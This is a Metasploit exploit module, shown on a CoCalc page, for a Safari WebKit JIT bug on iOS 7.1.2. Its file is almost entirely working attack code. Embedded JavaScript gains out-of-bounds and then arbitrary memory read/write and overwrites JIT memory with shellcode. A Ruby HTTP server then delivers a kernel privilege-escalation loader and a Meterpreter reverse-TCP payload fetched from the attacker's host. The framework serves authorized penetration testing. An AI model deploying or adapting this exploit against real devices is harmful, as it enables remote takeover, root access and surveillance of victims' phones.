CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/apple_ios/browser/safari_jit.rb
Views: 1904
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GoodRanking
8
9
include Msf::Post::File
10
include Msf::Exploit::Remote::HttpServer::HTML
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'Safari Webkit JIT Exploit for iOS 7.1.2',
17
'Description' => %q{
18
This module exploits a JIT optimization bug in Safari Webkit. This allows us to
19
write shellcode to an RWX memory section in JavaScriptCore and execute it. The
20
shellcode contains a kernel exploit (CVE-2016-4669) that obtains kernel rw,
21
obtains root and disables code signing. Finally we download and execute the
22
meterpreter payload.
23
This module has been tested against iOS 7.1.2 on an iPhone 4.
24
},
25
'License' => MSF_LICENSE,
26
'Author' => [
27
'kudima', # ishell
28
'Ian Beer', # CVE-2016-4669
29
'WanderingGlitch', # CVE-2018-4162
30
'timwr', # metasploit integration
31
],
32
'References' => [
33
['CVE', '2016-4669'],
34
['CVE', '2018-4162'],
35
['URL', 'https://github.com/kudima/exploit_playground/tree/master/iPhone3_1_shell'],
36
['URL', 'https://www.thezdi.com/blog/2018/4/12/inverting-your-assumptions-a-guide-to-jit-comparisons'],
37
['URL', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=882'],
38
],
39
'Arch' => ARCH_ARMLE,
40
'Platform' => 'apple_ios',
41
'DefaultTarget' => 0,
42
'DefaultOptions' => { 'PAYLOAD' => 'apple_ios/armle/meterpreter_reverse_tcp' },
43
'Targets' => [[ 'Automatic', {} ]],
44
'DisclosureDate' => '2016-08-25',
45
'Notes' => {
46
'Stability' => [ CRASH_SERVICE_DOWN ],
47
'SideEffects' => [ ],
48
'Reliability' => [ UNRELIABLE_SESSION ]
49
}
50
)
51
)
52
register_options(
53
[
54
OptPort.new('SRVPORT', [ true, 'The local port to listen on.', 8080 ]),
55
OptString.new('URIPATH', [ true, 'The URI to use for this exploit.', '/' ])
56
]
57
)
58
register_advanced_options([
59
OptBool.new('DEBUG_EXPLOIT', [false, 'Show debug information during exploitation', false]),
60
])
61
end
62
63
def exploit_js
64
<<~JS
65
//
66
// Initial notes.
67
//
68
// If we look at publicly available exploits for this kind of
69
// issues [2], [3] on 64-bit systems, they rely on that JavaScriptCore
70
// differently interprets the content of arrays based on
71
// their type, besides object pointers and 64-bit doubles may have
72
// the same representation.
73
//
74
// This is not the case for 32-bit version of JavaScriptCore.
75
// The details are in runtime/JSCJSValue.h. All JSValues are still
76
// 64-bit, but for the cells representing objects
77
// the high 32-bit are always 0xfffffffb (since we only need 32-bit
78
// to represent a pointer), meaning cell is always a NaN in IEEE754
79
// representation used for doubles and it is not possible to confuse
80
// an cell and a IEEE754 encoded double value.
81
//
82
// Another difference is how the cells are represented
83
// in the version of JavaScriptCore by iOS 7.1.2.
84
// The type of the cell object is determined by m_structure member
85
// at offset 0 which is a pointer to Structure object.
86
// On 64-bit systems, at the time [2], [3]
87
// were published, a 32-bit integer value was used as a structure id.
88
// And it was possible to deterministically predict that id for
89
// specific object layout.
90
//
91
// The exploit outline.
92
//
93
// Let's give a high level description of the steps taken by the
94
// exploit to get to arbitrary code execution.
95
//
96
// 1. We use side effect bug to overwrite butterfly header by confusing
97
// Double array with ArrayStorage and obtain out of bound (oob) read/write
98
// into array butterflies allocation area.
99
//
100
// 2. Use oob read/write to build addrOf/materialize object primitives,
101
// by overlapping ArrayStorage length with object pointer part of a cell
102
// stored in Contiguous array.
103
//
104
// 3. Craft a fake Number object in order to leak real object structure
105
// pointer via a runtime function.
106
//
107
// 4. Use leaked structure pointer to build a fake fake object allowing
108
// as read/write access to a Uint32Array object to obtain arbitrary read/write.
109
//
110
// 5. We overwrite rwx memory used for jit code and redirect execution
111
// to that memory using our arbitrary read/write.
112
113
function main(loader, macho) {
114
115
// auxillary arrays to facilitate
116
// 64-bit floats to pointers conversion
117
var ab = new ArrayBuffer(8)
118
var u32 = new Uint32Array(ab);
119
var f64 = new Float64Array(ab);
120
121
function toF64(hi, lo) {
122
u32[0] = hi;
123
u32[1] = lo;
124
return f64[0];
125
}
126
127
function toHILO(f) {
128
f64[0] = f;
129
return [u32[0], u32[1]]
130
}
131
132
function printF64(f) {
133
var u32 = toHILO(f);
134
return (u32[0].toString(16) + " " + u32[1].toString(16));
135
}
136
137
// arr is an object with a butterfly
138
//
139
// cmp is an object we compare with
140
//
141
// v is a value assigned to an indexed property,
142
// gives as ability to change the butterfly
143
function oob_write(arr, cmp, v, i) {
144
arr[0] = 1.1;
145
// place a comparison with an object,
146
// incorrectly modeled as side effects free
147
cmp == 1;
148
// if i less then the butterfly length,
149
// it simply writes the value, otherwise
150
// bails to baseline jit, which is going to
151
// handle the write via a slow path.
152
arr[i] = v;
153
return arr[0];
154
}
155
156
function make_oob_array() {
157
158
var oob_array;
159
160
// allocate an object
161
var arr = {};
162
arr.p = 1.1;
163
// allocate butterfly of size 0x38,
164
// 8 bytes header and 6 elements. To get the size
165
// we create an array and inspect its memory
166
// in jsc command line interpreter.
167
arr[0] = 1.1;
168
169
// toString is triggered during comparison,
170
var x = {toString: function () {
171
// convert the butterfly into an
172
// array storage with two values,
173
// initial 1.1 64-bit at 0 is going to be placed
174
// to m_vector and value at 1000 is placed into
175
// the m_sparceMap
176
arr[1000] = 2.2;
177
// allocate a new butterfly right after
178
// our ArrayStorage. The butterflies are
179
// allocated continuously regardless
180
// of the size. For the array we
181
// get 0x28 bytes, header and 4 elements.
182
oob_array = [1.1];
183
return '1';
184
}
185
};
186
187
// ArrayStorage buttefly--+
188
// |
189
// V
190
//-8 -4 0 4
191
// | pub length | length | m_sparceMap | m_indexBias |
192
//
193
// 8 0xc 0x10
194
// | m_numValuesInVector | m_padding | m_vector[0]
195
//
196
//0x18 0x20 0x28
197
// | m_vector[1] | m_vector[2] | m_vector[3] |
198
//
199
// oob_array butterfly
200
// |
201
// V
202
//0x30 0x34 0x38 0x40 0x48 0x50
203
// | pub length | length | el0 | el1 | el2 |
204
//
205
206
// We enter the function with arr butterfly
207
// backed up by a regular butterfly, during the side effect
208
// in toString method we turn it into an ArrayStorage,
209
// and allocate a butterfly right after it. So we
210
// hopefully get memory layout as on the diagram above.
211
//
212
// The compiled code for oob_write, being not aware of the
213
// shape change, is going to compare 6 to the ArrayStorage
214
// length (which we set to 1000 in toString) and proceed
215
// to to write at index 6 relative to ArrayStorage butterfly,
216
// overwriting the oob_array butterfly header with 64-bit float
217
// encoded as 0x0000100000001000. Which gives as ability to write
218
// out of bounds of oob_array up to 0x1000 bytes, hence
219
// the name oob_array.
220
221
var o = oob_write(arr, x, toF64(0x1000, 0x1000), 6);
222
223
return oob_array;
224
}
225
226
// returns address of an object
227
function addrOf(o) {
228
// overwrite ArrayStorage public length
229
// with the object pointer
230
oob_array[4] = o;
231
// retrieve the address as ArrayStorage
232
// butterfly public length
233
var r = oobStorage.length;
234
return r;
235
}
236
237
function materialize(addr) {
238
// replace ArrayStorage public length
239
oobStorage.length = addr;
240
// retrieve the placed address
241
// as an object
242
return oob_array[4];
243
}
244
245
function read32(addr) {
246
var lohi = toHILO(rw0Master.rw0_f2);
247
// replace m_buffer with our address
248
rw0Master.rw0_f2 = toF64(lohi[0], addr);
249
var ret = u32rw[0];
250
// restore
251
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
252
return ret;
253
}
254
255
function write32(addr, v) {
256
var lohi = toHILO(rw0Master.rw0_f2);
257
rw0Master.rw0_f2 = toF64(lohi[0], addr);
258
// for some reason if we don't do this
259
// and the value is negative as a signed int ( > 0x80000000)
260
// it takes base from a different place
261
u32rw[0] = v & 0xffffffff;
262
rw0Master.rw0_f2 = toF64(lohi[0], lohi[1]);
263
}
264
265
function testRW32() {
266
var o = [1.1];
267
268
print("--------------- testrw32 -------------");
269
print("len: " + o.length);
270
271
var bfly = read32(addrOf(o)+4);
272
print("bfly: " + bfly.toString(16));
273
274
var len = read32(bfly-8);
275
print("bfly len: " + len.toString(16));
276
write32(bfly - 8, 0x10);
277
var ret = o.length == 0x10;
278
print("len: " + o.length);
279
write32(bfly - 8, 1);
280
print("--------------- testrw32 -------------");
281
return ret;
282
}
283
284
// dump @len dword
285
function dumpAddr(addr, len) {
286
var output = 'addr: ' + addr.toString(16) + "\\n";
287
for (var i=0; i<len; i++) {
288
output += read32(addr + i*4).toString(16) + " ";
289
if ((i+1) % 2 == 0) {
290
output += "\\n";
291
}
292
}
293
return output;
294
}
295
296
// prepare the function we are going to
297
// use to run our macho loader
298
exec_code = "var o = {};";
299
for (var i=0; i<200; i++) {
300
exec_code += "o.p = 1.1;";
301
}
302
exec_code += "if (v) alert('exec');";
303
304
var exec = new Function('v', exec_code);
305
306
// force JavaScriptCore to generate jit code
307
// for the function
308
for (var i=0; i<1000; i++)
309
exec();
310
311
// create an object with a Double array butterfly
312
var arr = {};
313
arr.p = 1.1;
314
arr[0] = 1.1;
315
316
// force DFG optimization for oob_write function,
317
// with a write beyond the allocated storage
318
for (var i=0; i<10000; i++) {
319
oob_write(arr, {}, 1.1, 1);
320
}
321
322
// prepare a double array which we are going to turn
323
// into an ArrayStorage later on.
324
var oobStorage = [];
325
oobStorage[0] = 1.1;
326
327
// create an array with oob read/write
328
// relative to its butterfly
329
var oob_array = make_oob_array();
330
// Allocate an ArrayStorage after oob_array butterfly.
331
oobStorage[1000] = 2.2;
332
333
// convert into Contiguous storage, so we can materialize
334
// objects
335
oob_array[4] = {};
336
337
// allocate two objects with seven inline properties one after another,
338
// for fake object crafting
339
var oo = [];
340
for (var i=0; i<0x10; i++) {
341
o = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:toF64(0x4141, i )};
342
oo.push(o);
343
}
344
345
// for some reason if we just do
346
//var structLeaker = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
347
//var fakeObjStore = {p1:1.1, p2:2.2, p3:1.1, p4:1.1, p5:1.1, p6:1.1, p7:1.1};
348
// the objects just get some random addressed far apart, and we need
349
// them allocated one after another.
350
351
var fakeObjStore = oo.pop();
352
// we are going to leak Structure pointer for this object
353
var structLeaker = oo.pop();
354
355
// eventually we want to use it for read/write into typed array,
356
// and typed array is 0x18 bytes from our experiments.
357
// To cover all 0x18 bytes, we add four out of line properties
358
// to the structure we want to leak.
359
structLeaker.rw0_f1 = 1.1;
360
structLeaker.rw0_f2 = 1.1;
361
structLeaker.rw0_f3 = 1.1;
362
structLeaker.rw0_f4 = 1.1;
363
364
print("fakeObjStoreAddr: " + addrOf(fakeObjStore).toString(16));
365
print("structLeaker: " + addrOf(structLeaker).toString(16));
366
367
var fakeObjStoreAddr = addrOf(fakeObjStore)
368
// m_typeInfo offset within a Structure class is 0x34
369
// m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
370
// for Number
371
372
// we want to achieve the following layout for fakeObjStore
373
//
374
// 0 8 0x10 0x18 0x20 0x28 0x30
375
// | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 | 1.1 |
376
//
377
// 0x30 0x34 0x38 0x40
378
// | fakeObjStoreAddr | 0x00008015 | 1.1 |
379
//
380
// we materialize fakeObjStoreAddr + 0x30 as an object,
381
// As we can see the Structure pointer points back to fakeObjStore,
382
// which is acting as a structure for our object. In that fake
383
// structure object we craft m_typeInfo as if it was a Number object.
384
// At offset +0x34 the Structure objects have m_typeInfo member indicating
385
// the object type.
386
// For number it is m_typeInfo = {m_type = 0x15, m_flags = 0x80, m_flags2 = 0x0}
387
// So we place that value at offset 0x34 relative to the fakeObjStore start.
388
fakeObjStore.p6 = toF64(fakeObjStoreAddr, 0x008015);
389
var fakeNumber = materialize(fakeObjStoreAddr + 0x30);
390
391
// We call a runtime function valueOf on Number, which only verifies
392
// that m_typeInfo field describes a Number object. Then it reads
393
// and returns 64-bit float value at object address + 0x10.
394
//
395
// In our seven properties object, it's
396
// going to be a 64-bit word located right after last property. Since
397
// we have arranged another seven properties object to be placed right
398
// after fakeObjStore, we are going to get first 8 bytes of
399
// that cell object which has the following layout.
400
// 0 4 8
401
// | m_structure | m_butterfly |
402
var val = Number.prototype.valueOf.call(fakeNumber);
403
404
// get lower 32-bit of a 64-bit float, which is a structure pointer.
405
var _7pStructAddr = toHILO(val)[1];
406
print("struct addr: " + _7pStructAddr.toString(16));
407
408
// now we are going to use the structure to craft an object
409
// with properties allowing as read/write access to Uint32Array.
410
411
var aabb = new ArrayBuffer(0x20);
412
413
// Uint32Array is 0x18 bytes,
414
// + 0xc m_impl
415
// + 0x10 m_storageLength
416
// + 0x14 m_storage
417
var u32rw = new Uint32Array(aabb, 4);
418
419
// Create a fake object with the structure we leaked before.
420
// So we can r/w to Uint32Array via out of line properties.
421
// The ool properties are placed before the butterfly header,
422
// so we point our fake object butterfly to Uint32Array + 0x28,
423
// to cover first 0x20 bytes via four out of line properties we added earlier
424
var objRW0Store = {p1:toF64(_7pStructAddr, addrOf(u32rw) + 0x28), p2:1.1};
425
426
// materialize whatever we put in the first inline property as an object
427
var rw0Master = materialize(addrOf(objRW0Store) + 8);
428
429
// magic
430
var o = {p1: 1.1, p2: 1.1, p3: 1.1, p4: 1.1};
431
for (var i=0; i<8; i++) {
432
read32(addrOf(o));
433
write32(addrOf(o)+8, 0);
434
}
435
436
//testRW32();
437
// JSFunction->m_executable
438
var m_executable = read32(addrOf(exec)+0xc);
439
440
// m_executable->m_jitCodeForCall
441
var jitCodeForCall = read32(m_executable + 0x14) - 1;
442
print("jit code pointer: " + jitCodeForCall.toString(16));
443
444
// Get JSCell::destroy pointer, and pass it
445
// to the code we are going to execute as an argument
446
var n = new Number(1.1);
447
var struct = read32(addrOf(n));
448
// read methodTable
449
var classInfo = read32(struct + 0x20);
450
// read JSCell::destroy
451
var JSCell_destroy = read32(classInfo + 0x10);
452
453
print("JSCell_destroy: " + JSCell_destroy.toString(16));
454
455
// overwrite jit code of exec function
456
for (var i=0; i<loader.length; i++) {
457
var x = loader[i];
458
write32(jitCodeForCall+i*4, x);
459
}
460
461
// pass JSCell::destroy pointer and
462
// the macho file as arguments to our
463
// macho file loader, so it can get dylib cache slide
464
var nextBuf = read32(addrOf(macho) + 0x14);
465
// we pass parameters to the loader as a list of 32-bit words
466
// places right before the start
467
write32(jitCodeForCall-4, JSCell_destroy);
468
write32(jitCodeForCall-8, nextBuf);
469
print("nextBuf: " + nextBuf.toString(16));
470
// start our macho loader
471
print("executing macho...");
472
exec(true);
473
print("exec returned");
474
return;
475
}
476
477
try {
478
function asciiToUint8Array(str) {
479
480
var len = Math.floor((str.length + 4)/4) * 4;
481
var bytes = new Uint8Array(len);
482
483
for (var i=0; i<str.length; i++) {
484
var code = str.charCodeAt(i);
485
bytes[i] = code & 0xff;
486
}
487
488
return bytes;
489
}
490
491
// loads base64 encoded payload from the server and converts
492
// it into a Uint32Array
493
function loadAsUint32Array(path) {
494
var xhttp = new XMLHttpRequest();
495
xhttp.open("GET", path+"?cache=" + new Date().getTime(), false);
496
xhttp.send();
497
var payload = atob(xhttp.response);
498
payload = asciiToUint8Array(payload);
499
return new Uint32Array(payload.buffer);
500
}
501
502
var loader = loadAsUint32Array("loader.b64");
503
var macho = loadAsUint32Array("macho.b64");
504
setTimeout(function() {main(loader, macho);}, 50);
505
} catch (e) {
506
print(e + "\\n" + e.stack);
507
}
508
JS
509
end
510
511
def on_request_uri(cli, request)
512
if datastore['DEBUG_EXPLOIT'] && request.uri =~ %r{/print$*}
513
print_status("[*] #{request.body}")
514
send_response(cli, '')
515
return
516
end
517
518
print_status("Request #{request.uri} from #{request['User-Agent']}")
519
if request.uri.starts_with? '/loader.b64'
520
loader_data = exploit_data('CVE-2016-4669', 'loader')
521
loader_data = Rex::Text.encode_base64(loader_data)
522
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
523
return
524
elsif request.uri.starts_with? '/macho.b64'
525
loader_data = exploit_data('CVE-2016-4669', 'macho')
526
payload_url = "http://#{Rex::Socket.source_address('1.2.3.4')}:#{srvport}/payload"
527
payload_url_index = loader_data.index('PAYLOAD_URL_PLACEHOLDER')
528
loader_data[payload_url_index, payload_url.length] = payload_url
529
loader_data = Rex::Text.encode_base64(loader_data)
530
send_response(cli, loader_data, { 'Content-Type' => 'application/octet-stream' })
531
return
532
elsif request.uri.starts_with? '/payload'
533
print_good('Target is vulnerable, sending payload!')
534
send_response(cli, payload.raw, { 'Content-Type' => 'application/octet-stream' })
535
return
536
end
537
538
jscript = exploit_js
539
if datastore['DEBUG_EXPLOIT']
540
debugjs = %^
541
print = function(arg) {
542
var request = new XMLHttpRequest();
543
request.open("POST", "/print", false);
544
request.send("" + arg);
545
};
546
^
547
jscript = "#{debugjs}#{jscript}"
548
else
549
jscript.gsub!(%r{//.*$}, '') # strip comments
550
jscript.gsub!(/^\s*print\s*\(.*?\);\s*$/, '') # strip print(*);
551
end
552
553
html = <<~HTML
554
<html>
555
<body>
556
<script>
557
#{jscript}
558
</script>
559
</body>
560
</html>
561
HTML
562
563
send_response(cli, html, { 'Content-Type' => 'text/html', 'Cache-Control' => 'no-cache, no-store, must-revalidate', 'Pragma' => 'no-cache', 'Expires' => '0' })
564
end
565
566
end
567
568